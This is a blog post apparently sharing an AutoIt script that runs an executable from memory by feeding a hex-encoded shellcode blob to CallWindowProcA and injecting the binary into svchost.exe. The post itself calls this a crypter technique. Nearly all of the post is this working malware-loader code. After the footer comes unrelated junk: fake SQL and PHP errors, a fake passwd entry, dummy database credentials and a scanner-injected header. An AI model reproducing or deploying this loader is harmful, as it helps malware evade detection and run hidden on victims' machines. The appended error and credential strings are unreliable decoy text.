RunExeFromMemory.au3

Leave a Comment
This script demonstrate execution from memory, a technique used in many crypter.
http://pastebin.com/7qrhYzcj
________________________________________
Local $sBinary = FileOpenDialog("Elija tu Servidor para Ejecutar en la Memoria", "", "Archivos exe (*.exe)")

Call ( RunExeFromMemory(Fileread($sBinary)))





Func RunExeFromMemory($Binary)

    Global $Memory ,  $FileBuffer

    $Memory = DllStructCreate("Boolean[" & sReadBytes(sShellCode()) & "]")
    $FileBuffer = DllStructCreate("Boolean[" & sReadBytes($Binary) & "]")
    DllStructSetData($Memory, 1, sShellRead(sShellCode()))
    DllStructSetData($FileBuffer, 1, $Binary)

    Call ( CWPA( sStructBuffer(), sInjectMyApp(), sStructBin(), False, False ))

EndFunc




Func sStructBuffer()

    Local $Ret = DllStructGetPtr($Memory)
    Return $Ret

EndFunc




Func sStructBin()

    Local $Ret2 = DllStructGetPtr($FileBuffer)
    Return $Ret2

EndFunc





Func CWPA($lpPrevWndFunc, $hWnd, $Msg, $wParam, $lParam)

    Local $Return
    $Return = DllCall("User32", "none", "CallWindowProcA", "ptr", $lpPrevWndFunc, "wstr", $hWnd, "ptr", $Msg, "int", $wParam, "int", $lParam)

EndFunc






Func sInjectMyApp()

    Local $sInject = @SystemDir & "\svchost.exe"
    Return $sInject

EndFunc





Func sShellCode ()

   Local $Buffer
         $Buffer = "0x" & "30783630453834453030303030303642303036353030373230303645303036353030364330303333​30303332303030303030364530303734303036343030364" & _
    "33030364330303030303030303030303030303030303030303030303030303030303030303030303​030303030303030303030303030303030303030303030303030303030303030303030" & _
    "30303030303030303030303030303030303030303030303030303030303030303542384246433641​343245384242303330303030384235343234323838393131384235343234324336413" & _
    "34545384141303330303030383931313641344145384131303330303030383933393641314536413​343453839443033303030303641323236384634303030303030453839313033303030" & _
    "30364132363641323445383838303330303030364132413641343045383746303330303030364132​453641304345383736303330303030364133323638433830303030303045383641303" & _
    "33030303036413241453835433033303030303842303943373031343430303030303036413132453​834443033303030303638354245383134434635314538373930333030303036413345" & _
    "45383342303330303030384244313641314545383332303330303030364134304646333246463331​464644303641313245383233303330303030363835424538313443463531453834463" & _
    "03330303030364131454538313130333030303038423039384235313343364133454538303530333​030303038423339303346413641323245384641303230303030384230393638463830" & _
    "30303030303537353146464430364130304538453830323030303036383838464542333136353145​383134303330303030364132454538443630323030303038423339364132414538434" & _
    "43032303030303842313136413432453843343032303030303537353236413030364130303641303​436413030364130303641303036413030464633314646443036413132453841393032" & _
    "30303030363844303337313046323531453844353032303030303641323245383937303230303030​384231313641324545383845303230303030384230394646373233344646333146464" & _
    "43036413030453837453032303030303638394339353141364535314538414130323030303036413​232453836433032303030303842313138423339364132454538363130323030303038" & _
    "42303936413430363830303330303030304646373235304646373733344646333146464430364133​364538343730323030303038424431364132324538334530323030303038423339364" & _
    "13345453833353032303030303842333136413232453832433032303030303842303136413245453​832333032303030303842303935324646373735343536464637303334464633313641" & _
    "30304538313030323030303036384131364133444438353145383343303230303030383343343043​464644303641313245384639303130303030363835424538313443463531453832353" & _
    "03230303030364132324538453730313030303038423131383343323036364133414538444230313​030303036413032353235314646443036413336453843453031303030304337303130" & _
    "30303030303030423832383030303030303641333645384243303130303030463732313641314545​384233303130303030384231313842353233433831433246383030303030303033443" & _
    "03641334545383946303130303030303331313641323645383936303130303030364132383532464​633313641313245383841303130303030363835424538313443463531453842363031" & _
    "30303030383343343043464644303641323645383733303130303030384233393842303938423731​313436413345453836353031303030303033333136413236453835433031303030303" & _
    "84230393842353130433641323245383530303130303030384230393033353133343641343645383​434303130303030384243313641324545383342303130303030384230393530464637" & _
    "37313035363532464633313641303045383241303130303030363841313641334444383531453835​363031303030303833433430434646443036413336453831333031303030303842313" & _
    "13833433230313839313136413341453830353031303030303842303933424341304638353333464​646464646364133324538463430303030303038423039433730313037303030313030" & _
    "36413030453845353030303030303638443243374137363835314538313130313030303036413332​453844333030303030303842313136413245453843413030303030303842303935324" & _
    "64637313034464644303641323245384242303030303030384233393833433733343641333245384​146303030303030384233313842423641343030303030303833433630383641324545" & _
    "38394430303030303038423131364134364538393430303030303035313641303435373536464633​323641303045383836303030303030363841313641334444383531453842323030303" & _
    "03030383343343043464644303641323245383646303030303030384230393842353132383033353​133343641333245383630303030303030384230393831433142303030303030303839" & _
    "31313641303045383446303030303030363844334337413745383531453837423030303030303641​333245383344303030303030384244313641324545383334303030303030384230394" & _
    "64633324646373130344646443036413030453832343030303030303638383833463441394535314​538353030303030303036413245453831323030303030303842303946463731303446" & _
    "46443036413441453830343030303030303842323136314333384243423033344332343034433336​413030453846324646464646463638353443414146393135314538314530303030303" & _
    "03641343036383030313030303030464637343234313836413030464644304646373432343134453​843464646464646463839303138334334313043334538323230303030303036384134" & _
    "34453045454335304538344230303030303038334334303846463734323430344646443046463734​323430383530453833383030303030303833433430384333353535323531353335363" & _
    "53733334330363438423730333038423736304338423736314338423645303838423745323038423​336333834373138373546333830334636423734303738303346344237343032454245" & _
    "37384243353546354535423539354135444333353535323531353335363537384236433234314338​354544373434333842343533433842353432383738303344353842344131383842354" & _
    "13230303344444533333034393842333438423033463533334646333343304643414338344330373​430374331434630443033463845424634334237433234323037354531384235413234" & _
    "30334444363638423043344238423541314330334444384230343842303343353546354535423539​35413544433343333030303030303030"

    Return $Buffer

EndFunc




Func sShellRead($sData)

    Local $sValue

    For $i = 1 To sReadBytes($sData)
        $sValue &= Chr(sValue(BinaryMid($sData , $i , 1)))
    Next

    Return $sValue

EndFunc





Func sReadBytes($Data)

    Local $Value = BinaryLen($Data)
    Return $Value

EndFunc





Func sValue($Value)

    Local $Result = Execute($Value)
    Return Number($Result)

EndFunc

0 comments:

Post a Comment

Powered by Blogger.
Warning: include(4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3

Microsoft SQL Native Client error '80040e14
Unclosed quotation mark after the character string
Query failed: ERROR: syntax error at or near \"'\" at character 56 in home/www/regs/home.php on line 121.
SQLSTATE: 42000 (ER_SYNTAX_ERROR) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
ORACLE-00933: SQL command not properly ended
function antiscanner($antiscanner)
{
return \$antiscanner;
}
\"/usr/local/bin\"
\"c:/www/regs/home\"
define( 'DB_NAME', 'database' );
define( 'DB_USER', 'www.localhost.com' );
define( 'DB_PASSWORD', 'antiscanner' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc:bin:!:2:2::/bin:sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm:uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest:
SomeCustomInjectedHeader:injected_by_wvs
PROJECTS
Raven
DevAssistant
Pascal Trainer
Meow encoder 0.2
PROJECT LIST
TOOLS
Hacking
Forensic
Developer tools
Reverse engineering
APP LIST
DOCUMENTS
Hacking
Metasploit
Coding
Web development
SOURCE CODE
C#, VB.NET C++ Delphi VB6
Python PHP Perl Bash Batch
HTML, CSS, Javascript
Autoit AHK